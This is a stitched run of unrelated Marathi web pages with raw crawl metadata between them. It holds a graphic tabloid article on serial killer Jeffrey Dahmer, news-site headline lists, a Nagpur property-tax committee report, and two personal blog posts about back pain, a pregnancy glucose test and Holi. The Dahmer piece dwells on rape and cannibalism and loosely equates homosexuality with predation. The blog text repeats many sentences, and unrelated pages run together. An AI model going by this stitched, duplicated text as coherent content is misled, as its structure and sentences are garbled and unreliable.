मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nतरुणांना Drugs देऊन करायचा बलात्कार, मग हत्या करून शिजवून खात होता त्यांचे मांस; पोलिस म्हणाले, हा तर जिवंत राक्षस\nअमेरिकेतील सर्वात क्रूरकर्मा सीरियल किलर जेफरी ढॅमरने केलेल्या हत्येच्या भयकथा पोलिसांनी समोर आणल्या आहेत.\nइंटरनॅशनल डेस्क - अमेरिकेतील सर्वात क्रूरकर्मा सीरियल किलर जेफरी ढॅमरने केलेल्या हत्येच्या भयकथा पोलिसांनी समोर आणल्या आहेत. जेफरी होमोसेक्शुअल होता, जो महिला आणि पुरुष अशा दोहोंसोबत शारीरिक संबंध ठेवत होता. त्याच्या याच व्यसनाने त्याला एक कुख्यात आणि क्रूर गुन्हेगार बनवले. त्याने आपल्या शरीराची भूक भागवण्यासाठी पुरुष आणि युवा तरुणांना आपल्या जाळ्यात अडकवले. पोलिस रेकॉर्डनुसार, त्याने 17 तरुणांना ड्रग्स देऊन त्यांच्यावर बलात्कार केला आणि यानंतर त्यांचा खून केला. एवढेच नव्हे, तर त्या लोकांचे तुकडे करून तो मांस देखील अगदी शिजवून खायचा. पोलिसांनी दिलेल्या माहितीनुसार, जेफरीने 1978 ते 1991 दरम्यान ही कृत्ये केली आहेत. पोलिसांनी त्याला पकडले तेव्हा त्यांनी याला Milwaukee Monster असे नाव दिले. तो एक जिवंत राक्षस आहे असे पोलिस म्हणाले होते.\nपोलिस किचनमध्ये पोहोचले तेव्हा...\nपोलिसांनी सीरियल किलरची कसून चौकशी केली तेव्हा त्याने मानवी अंग किचनमध्ये ठेवल्याचे स्पष्ट केले. हे मानवी मांस त्याने शिजून खाल्ले होते अशी कबुलीही त्याने दिली. यानंतर सविस्तर तपास करण्यासाठी पोलिस त्याच्या फ्लॅटवर पोहोचले. अधिकाऱ्यांनी फ्रिज उघडले तेव्हा धक्काच बसला. त्यामध्ये मानवी शिर आणि त्यांच्या शरीराचे तुकडे कापून ठेवण्यात आले होते. काही तुकड्यांवर तर मसाले सुद्धा लावून ठेवण्यात आले होते. जणू तो ते काढून कधीही खात होता. त्याच्या फ्लॅटमध्ये सर्वत्र मानवी शरीराचे तुकडे, मांस आणि हाड विखुरले होते.\nड्रग्स देऊन करायचा बलात्कार\nमीडिया रिपोर्टनुसार, जेफरी आधी आपल्यापेक्षा कमी वयाच्या तरुणांशी मैत्री करून त्यांना ड्रग्स देण्यासाठी घरी बोलवायचा. यानंतर त्यांच्यावर बलात्कार करून अतिशय निर्घृणरित्या त्यांचा खून करत होता. कित्येक वर्षे नरभक्षक होऊन मानवी मास खाणाऱ्या या नराधमाला पोलिसांनी 1991 मध्ये पकडले होते. त्यावेळी एक तरुण त्याच्या तावडीतून सुटला आणि थेट पोलिस स्टेशन गाठून आपबिती मांडली.\nकोर्टाने दिली 900 वर्षांची कैद\nजेफरीने इतके अमानुष कृत्य केले की याला कोणती शिक्षा द्यावी असा प्रश्न न्यायाधीशांना पडला होता. कुठल्याही प्रकारची शिक्षा त्या नराधमासाठी कमीच वाटत होती. त्याला कोर्टाने 900 वर्षांची कैद सुनावली. यानंतरही त्याला जगण्याचा अधिकार नाही असे म्हणणाऱ्या पीडितांच्या कुटुंबियांनी वरिष्ठ न्यायालयात याचिका दाखल केल्या. त्यावर सुनावणी सुरू असतानाच 1994 मध्ये दुसऱ्या एका कैद्याने तुरुंगातच त्याची हत्या केली.\nआजी आणि आजारी वडिलांसोबत राहत होती 8 वर्षांची मुलगी, अत्‍यंत आनंदी दिसायचे कुटुंब; अचानक घरात आढळला मुलीचा मृतदेह\nघरात येताच 'घुसखोर' पाहून घाबरली महिला पोलिस; शूट केल्यानंतर कळाले हे घरच आपले नाही आता झाली ही कारवाई\nब्रिटनमध्ये पगडीचा मान ठेवणारा Guardsman चरणप्रीतवर लागले गंभीर आरोप, नोकरीही जाण्याची शक्यता\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00376.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%B6%E0%A4%BE%E0%A4%B9%E0%A4%B0%E0%A5%82%E0%A4%96-%E0%A4%96%E0%A4%BE%E0%A4%A8/all/page-4/", "date_download": "2018-09-25T17:00:55Z", "digest": "sha1:UUFTVDTWTI3PKRTGP5AEUKEZISOFA7YU", "length": 11493, "nlines": 140, "source_domain": "lokmat.news18.com", "title": "शाहरूख खान- News18 Lokmat Official Website Page-4", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n...आणि जयंत पाटलांनी शाहरुख खानला 'आग्री' हिसका दाखवला\nशेतकरी कामगार पक्षाचे आमदार जयंत पाटील यांनी सिने अभिनेता शाहरूख खानला चांगलंच खडसावल्याचा व्हिडिओ व्हायरल झालाय. शाहरूख खान त्याच्या वाढदिवसाच्या पार्टीसाठी अलिबागच्या फार्महाऊसवर गेला होता. रात्रभर पार्टी साजरी करून सकाळी परत मुंबईला परत खासगी स्पीड बोटीने आला.\nजेव्हा शाहरूख फॅन्सना भेटतो\nशाहरूखच्या बर्थ डे पार्टीतून कतरिनाला कोणामुळे पडावं लागलं बाहेर\n25 वर्षात पहिल्यांदाच शाहरूख आमिरच्या दिवाळी पार्टीत\nकिंग खान आणि आनंद एल राय यांच्या सिनेमाचं नाव ठरलं एकदाचं\nशाहरूख खान बनणार ट्विटरचा बादशहा\nकोण आहेत बाॅलिवूडचे सर्वात श्रीमंत अभिनेते\nशाहरूख खाननं केली दिलीप कुमार यांची विचारपूस\nबॉलिवूडच्या सुपरस्टार्सना 'हे' काय झालं\n'जब हॅरी मेट सेजल'ची पहिल्या दिवशी 16 कोटीची कमाई\nशाहरूखचा हॅरी होणार का हिट 225 कोटींचा लागला सट्टा\nनवरत्न तेलाच्या जाहिरातीमुळे बिग बी अडचणीत\nजब हॅरी मेट सेजल'चा ट्रेलर रिलीज\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00376.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/leopards/news/", "date_download": "2018-09-25T17:01:01Z", "digest": "sha1:LN3SRF7YYJNKHCO2J57PHJ5CYLM36OUA", "length": 11532, "nlines": 139, "source_domain": "lokmat.news18.com", "title": "Leopards- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n'सर्जिकल स्ट्राईकदरम्यान सैनिकांकडे होती बिबट्याची विष्ठा आणि मूत्र'\nVIDEO : आईच्या काळजाचा थरकाप, बिबट्याच्या पिल्लाची चिमुकल्यांसोबत विश्रांती\n'शिकारी खुद्द शिकार...', कुत्र्यांचा बिबट्यावर हल्ला\nमहाराष्ट्र May 16, 2018\nबिबट्याचा वनअधिकाऱ्यावर हल्ला, जंगलातला थरार कॅमेऱ्यात कैद\nपुरंदरमध्ये चार बिबट्यांचा मेंढ्याच्या कळपावर हल्ला, 15 मेंढ्यांचा मृत्यू, 50 बेपत्ता\nमहाराष्ट्र Apr 19, 2018\nमाहूर गडावर रेणुका मातेच्या दर्शनासाठी बिबट्याने लावली हजेरी, केली कुत्र्याची शिकार\nमहाराष्ट्र Apr 16, 2018\nपोलीस कर्मचाऱ्याच्या घरात लपलेला बिबट्या तब्बल 10 तासांनंतर जेरबंद\nमहाराष्ट्र Mar 10, 2018\nरानडुकरांशी दोन हात करून बिबट्याने वाचवला आपल्या बछड्यांचा जीव, पण...\nकार्यक्रम Feb 12, 2018\nविशेष कार्यक्रम रिपोतार्ज : बिबट्यांची दुनिया\nमहाराष्ट्र Feb 7, 2018\nसंजय गांधी राष्ट्रीय उद्यानाच्या अहवालानुसार बिबट्यांच्या संख्येत वाढ\nमहाराष्ट्र Dec 10, 2017\nचाळीसगावमध्ये नरभक्षक बिबट्याला अखेर ठार करण्यात यश\nचाळीसगावचा नरभक्षक बिबट्या मालेगावात, 7 वर्षांच्या चिमुरड्याचा घेतला जीव\nजळगाव : नरभक्षक बिबट्याचा वृद्ध महिलेवर हल्ला,बळीची संख्या 6 वर\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00376.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://www.nagpurtoday.in/tax-committee-meeting-at-zone-sandeep-jadhav/08211903", "date_download": "2018-09-25T17:06:39Z", "digest": "sha1:WGTOEWFSQKY53DQ244ZMNQGIRM5KM3BL", "length": 8922, "nlines": 73, "source_domain": "www.nagpurtoday.in", "title": "कर थकबाकीमुक्त शहराचे उदिष्ट्य ठेवून काम करा : संदीप जाधव - Nagpur Today : Nagpur News कर थकबाकीमुक्त शहराचे उदिष्ट्य ठेवून काम करा : संदीप जाधव – Nagpur Today : Nagpur News", "raw_content": "\nकर थकबाकीमुक्त शहराचे उदिष्ट्य ठेवून काम करा : संदीप जाधव कर आकारणी व कर संकलन समितीच्या झोननिहाय बैठकीत निर्देश\nनागपूर : नागपूर शहरातील नागरिकांकडे मालमत्ता कराची थकबाकी अनेक वर्षांपासून आहे. त्यामुळे मनपाला अनेक अडचणींचा सामना करावा लागतो. शहरातील विविध विकास कामांना गती मिळावी, यासाठी संपूर्ण थकबाकी वसूल करण्याच्या उद्देशाने काम करा, असे निर्देश मनपाच्या कर आकारणी व कर संकलन विशेष समितीचे सभापती संदीप जाधव यांनी कर निरिक्षक व कर संकलक यांना दिले.\nसमितीच्या वतीने कर आकारणी संदर्भातील आढावा घेण्यासाठी झोननिहाय बैठकांचे आयोजन करण्यात आले आहे. मंगळवारी (ता. २१) हनुमाननगर, नेहरूनगर आणि गांधीबाग झोनमध्ये बैठकांचे आयोजन करण्यात आले होते. यावेळी ते बोलत होते. हनुमाननगर झोनमधील बैठकीत समितीचे उपसभापती सुनील अग्रवाल, हनुमाननगर झोनच्या सभापती रुपाली ठाकूर, नगरसेविका माधुरी प्रवीण ठाकरे, कर व कर आकारणी विभागाचे सहायक आयुक्त मिलिंद मेश्राम, हनुमाननगर झोनचे सहायक आयुक्त राजू भिवगडे, नेहरूनगर झोनमध्ये सभापती रिता मुळे, प्रभारी सहायक आयुक्त सुभाष जयदेव तर गांधीबाग झोनमध्ये सभापती वंदना यंगटवार, सहायक अधीक्षक विश्वास धनकर यांच्यासह झोनमधील सर्व वॉर्डाचे कर निरिक्षक व कर संकलक प्रामुख्याने उपस्थित होते.\nकर विभागात मागील अनेक वर्षांपासून काम करूनही योग्य निकाल न देणाऱ्या निष्क्रीय कर निरीक्षक व कर संकलक यांच्यावर कारवाई करण्याचा इशाराही सभापती श्री. जाधव यांनी यावेळी दिला. कर निरीक्षक व कर संकलक यांचे निष्क्रीय वर्तन व बेजाबदारपणा यामुळेही दिवसेंदिवस थकबाकीचा आकडा वाढत आहे. त्यामुळेच महापालिकेकडून देण्यात आलेले त्रैमासिक उद्दिष्ट निम्मेही गाठता आले नाही. कर निरिक्षक व कर संकलक यांना येत असलेल्या अडचणी सोडविण्यास मनपा तत्पर आहे. त्यामुळे कर निरिक्षक व संकलकांनीही आपल्या कामाप्रति तत्परता दाखवावी, असेही ते म्हणाले.\nकर निरीक्षक व कर संकलन यांनी आपल्या शैलीचा उपयोग करून नागरिकांशी योग्य समन्वय साधावा. आपल्या कुलश नेतृत्वगुणाचा उपयोग करून घेत ३० सप्टेंबरपर्यंत त्रैमासिक उद्दीष्टपूर्ती होईल, याकडे लक्ष्य देण्याचेही त्यांनी यावेळी निर्देशित केले.\nबॉलीवुड के बाद अब टीवी पर धमाल मचाएगी यह खूबसूरत एक्ट्रेस,\n अजय देवगन ने ट्विटर पर शेयर कर दिया काजोल का Whatsapp नंबर\nपंडीत दिनदयाल उपाध्याय जयंती निमित्त मनपा तर्फे विनम्र अभिवादन\n‘आपली बस’ सेवा सुरळीत\n28 सितंबर को देश भर के दवा विक्रेता हड़ताल पर\nमनपा पस्त,जनता त्रस्त ऑटोचालक मस्त\nनगरसेविका रुपाली ठाकुर के देवर ने की मनपा स्वास्थ्य कर्मी से मारपीट\nहंगामें के बीच बहुमत के आधार पर सारे विषय मंजूर\nपंडीत दिनदयाल उपाध्याय जयंती निमित्त मनपा तर्फे विनम्र अभिवादन\n‘आपली बस’ सेवा सुरळीत\nसंस्कार शाश्वत, मानव परिवर्तशील : केंद्रीय मंत्री नितीन गडकरी\nमेट्रोची गती ताशी ९० किमी वेगापर्यंत वाढण्यासाठी प्रयत्न सुरु\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00376.warc.wet.gz", "language": "mr", "language_score": 0.85, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/02/blog-post_10.html", "date_download": "2018-09-25T17:46:55Z", "digest": "sha1:7HJ5IRBZECWHYKZQEZY5F5BOAJCCH2IG", "length": 7575, "nlines": 55, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: पाठीचे दुखणे आणि सोनाली ची ग्लूकोज चाचणी", "raw_content": "\nपाठीचे दुखणे आणि सोनाली ची ग्लूकोज चाचणी\nसलोनिबाई आज माझे काही खरे नाही आज सकाळी सकाळी सिद्धार्थला शाळेत जायला उशीर झाला म्हणुन मी त्याला कपडे घालत होतो आज सकाळी सकाळी सिद्धार्थला शाळेत जायला उशीर झाला म्हणुन मी त्याला कपडे घालत होतो तेव्हा अचानक माझी पाठ अवघडलि तेव्हा अचानक माझी पाठ अवघडलि अमेरिकेच्या तशा सुखासीन आयुष्यात वजन ४० पाउंड ने कधी वाढले ते कळलेच नाही अमेरिकेच्या तशा सुखासीन आयुष्यात वजन ४० पाउंड ने कधी वाढले ते कळलेच नाही भारतातून आलो तेव्हा अगदी व्यायाम करून निरोगी असलेला मी इथे येउन पिज्जा, आइस क्रीम खाऊन अगदीच जाड होत गेलो भारतातून आलो तेव्हा अगदी व्यायाम करून निरोगी असलेला मी इथे येउन पिज्जा, आइस क्रीम खाऊन अगदीच जाड होत गेलो इतकेच नाही तर व्यायाम पूर्णपणे सुटला इतकेच नाही तर व्यायाम पूर्णपणे सुटला त्यात दिवसभर ऑफिस चे काम म्हणजे तसे काहीच शारीरिक कष्ट नाहित त्यात दिवसभर ऑफिस चे काम म्हणजे तसे काहीच शारीरिक कष्ट नाहित या सर्वांचा परिणाम म्हणुन माझे पाठीचे दुखणे सुरु झाले या सर्वांचा परिणाम म्हणुन माझे पाठीचे दुखणे सुरु झाले अणि हे दुखणे इतके बळावले की एक दोनदा तर मी पूर्ण ९० अंशात वाकलो गेलो होतो अणि हे दुखणे इतके बळावले की एक दोनदा तर मी पूर्ण ९० अंशात वाकलो गेलो होतो मला वाटते माझी कदाचित थोड़ी जास्तच गंभीर परिस्थिति असावी मला वाटते माझी कदाचित थोड़ी जास्तच गंभीर परिस्थिति असावी परन्तु बर्याच तीशीतील व्यावसायिकांची हीच परिस्थिति असावी\n त्यामुले आज घरून च काम केले एकदा घरी राहिले की खरे तर माझे तरी इतके चांगले काम होत नाही एकदा घरी राहिले की खरे तर माझे तरी इतके चांगले काम होत नाही त्यातच आज सोनालीची ग्लूकोज ची टेस्ट होती त्यातच आज सोनालीची ग्लूकोज ची टेस्ट होती तिला पहिल्यांदा एक ग्लास भरून ग्लूकोज चा पाक (syrup) प्यायला दिले तिला पहिल्यांदा एक ग्लास भरून ग्लूकोज चा पाक (syrup) प्यायला दिले त्यानंतर ४५ मिनिटे थाम्बायचे त्यानंतर ४५ मिनिटे थाम्बायचे आणि मग त्यानंतर सोनालीचे रक्त तपासणीसाठी घेतले गेले आणि मग त्यानंतर सोनालीचे रक्त तपासणीसाठी घेतले गेले या ४५ मिनिटात गर्भार स्त्रीने किती ग्लूकोज पचवले हे तपासले जाते या ४५ मिनिटात गर्भार स्त्रीने किती ग्लूकोज पचवले हे तपासले जाते त्यासाठी रक्त तपासणी जर कमी ग्लूकोज पचवले गेले तर त्या स्त्रीला मधुमेहाचा धोका असतो आणि त्यामुले बाळाच्या जन्माच्या वेळी गुंतागुंतीची परिस्थिति निर्माण होऊ शकते आणि त्यामुले बाळाच्या जन्माच्या वेळी गुंतागुंतीची परिस्थिति निर्माण होऊ शकते तर आता पाहू कसे काय होते आहे ते तर आता पाहू कसे काय होते आहे ते तशी तुझी आई बरीच अभ्यासू आणि काळजीखोर आहे तशी तुझी आई बरीच अभ्यासू आणि काळजीखोर आहे त्यामुले तिला या सर्व गोष्टींची अद्ययावत माहिती असते आणि ती काळजी घेत असते\nमी तिच्याबरोबर दवाखान्यात गेलो होतो पण तरीही माझे ऑफिस चे काम चालू होते आजकाल मला ऑफिस मधून ब्लैक बेरी हा फ़ोन मिळाला आहे आजकाल मला ऑफिस मधून ब्लैक बेरी हा फ़ोन मिळाला आहे त्यामधे इ-मेल , फ़ोन, महत्वाची काही सॉफ्टवेर सर्व काही असल्यामुळे मी लोकांना इमेल्स केल्या, फ़ोन केले - घेतले, काही काही फायली वाचल्या आणि दुरुस्त केल्या इत्यादि इत्यादि त्यामधे इ-मेल , फ़ोन, महत्वाची काही सॉफ्टवेर सर्व काही असल्यामुळे मी लोकांना इमेल्स केल्या, फ़ोन केले - घेतले, काही काही फायली वाचल्या आणि दुरुस्त केल्या इत्यादि इत्यादि अगदी ओबामा सुद्धा ब्लैक बेरी चा चाहता आहे अगदी ओबामा सुद्धा ब्लैक बेरी चा चाहता आहे अमेरिकेचा अध्यक्ष झाल्यावर इकडच्या त्याच्या सुरक्षा विभागाने त्याला ब्लैक बेरी वापरायला मनाई केली अमेरिकेचा अध्यक्ष झाल्यावर इकडच्या त्याच्या सुरक्षा विभागाने त्याला ब्लैक बेरी वापरायला मनाई केली कारण काय तर त्यावरची माहिती सुरक्षित कशी ठेवायची याची त्यांच्याकडे उपाय योजना नव्हती कारण काय तर त्यावरची माहिती सुरक्षित कशी ठेवायची याची त्यांच्याकडे उपाय योजना नव्हती या आधीच्या कुठल्याच अध्यक्षांनी ब्लैक बेरी वापरला नव्हता या आधीच्या कुठल्याच अध्यक्षांनी ब्लैक बेरी वापरला नव्हता पण मग ओबामा ला जर वापरायचा असेल आणि वापरता येत नसेल तर काय उपयोग अमेरिकेचा अध्यक्ष असण्याचा पण मग ओबामा ला जर वापरायचा असेल आणि वापरता येत नसेल तर काय उपयोग अमेरिकेचा अध्यक्ष असण्याचा काही तरी करून त्याने त्याच्या सुरक्षा विभागाला पटवले काही तरी करून त्याने त्याच्या सुरक्षा विभागाला पटवले आणि आता अमेरिकेचा अध्यक्ष सुद्धा ब्लैक बेरी वापरतो आणि आता अमेरिकेचा अध्यक्ष सुद्धा ब्लैक बेरी वापरतो मजा येते ब्लैक बेरी वापरून .... इ-मेल, इन्टरनेट, फ़ोन, अगदी गेम्स सुद्धा... मजा येते ब्लैक बेरी वापरून .... इ-मेल, इन्टरनेट, फ़ोन, अगदी गेम्स सुद्धा... हे म्हणजे आम्हा पुरुषांसाठी अगदी \"उदंड जाहले पाणी स्नान संध्या करावया हे म्हणजे आम्हा पुरुषांसाठी अगदी \"उदंड जाहले पाणी स्नान संध्या करावया जप तप अनुष्ठाने.. आनंदवनभुवनी जप तप अनुष्ठाने.. आनंदवनभुवनी\nओबामा - ३७ दिवसांचा आढावा\nपाठीचे दुखणे आणि सोनाली ची ग्लूकोज चाचणी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00377.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/03/blog-post_11.html", "date_download": "2018-09-25T17:46:48Z", "digest": "sha1:REFS77B3Q2TXSLLUXAM5JLKWVVTMT5RA", "length": 6655, "nlines": 73, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: होळी", "raw_content": "\nप्रिय सलोनी, आज होळी आहे इकडे आल्यापासून आम्ही भारताबद्दल सर्वात जास्त काय miss करत असू तर भारतातील सण सणावर इकडे आल्यापासून आम्ही भारताबद्दल सर्वात जास्त काय miss करत असू तर भारतातील सण सणावर अश्या सणाच्या दिवशी हटकून आपल्याकडची आठवण येते अश्या सणाच्या दिवशी हटकून आपल्याकडची आठवण येते\nहोळिचा दिवस परंपरेने महाराष्ट्रात जूने जाउदे सरणालागुनी () या पध्दतीने साजरा केला जातो .... जे जे जूने आणि अनिष्ट ते ते या दिवशी जाळायचे ..... बव्हंशी प्रतिकात्मिकारित्या परन्तु कधी कधी शब्दशः सुद्धा हरकत नाही) या पध्दतीने साजरा केला जातो .... जे जे जूने आणि अनिष्ट ते ते या दिवशी जाळायचे ..... बव्हंशी प्रतिकात्मिकारित्या परन्तु कधी कधी शब्दशः सुद्धा हरकत नाही पूर्वी होळी आणि रंगपंचमी हे वेगावेगले साजरे केले जात होते पूर्वी होळी आणि रंगपंचमी हे वेगावेगले साजरे केले जात होते मागील २० वर्षात मात्र जसजसे उत्तरेतील लोक महाराष्ट्रात येऊ लागले आहेत ... तसतसे महाराष्ट्रात आजकाल होळी ला रंगांची उधळण देखिल वाढली आहे मागील २० वर्षात मात्र जसजसे उत्तरेतील लोक महाराष्ट्रात येऊ लागले आहेत ... तसतसे महाराष्ट्रात आजकाल होळी ला रंगांची उधळण देखिल वाढली आहे त्यामुले आता होळी आणि रंगपंचमी दोन्ही दिवशी रंग खेळला जातो त्यामुले आता होळी आणि रंगपंचमी दोन्ही दिवशी रंग खेळला जातो एकंदरीतच मला वाटते की होळी आणि दिवाळी हे सण भारतीय संस्कृतीचे सर्वात जास्त चांगले प्रतिनिधी आहेत एकंदरीतच मला वाटते की होळी आणि दिवाळी हे सण भारतीय संस्कृतीचे सर्वात जास्त चांगले प्रतिनिधी आहेत प्रकाश किंवा रंग कोणाला नको आहेत आयुष्यात प्रकाश किंवा रंग कोणाला नको आहेत आयुष्यात आणि ते जर वगळले तर आयुष्याला काय अर्थ आहे आणि ते जर वगळले तर 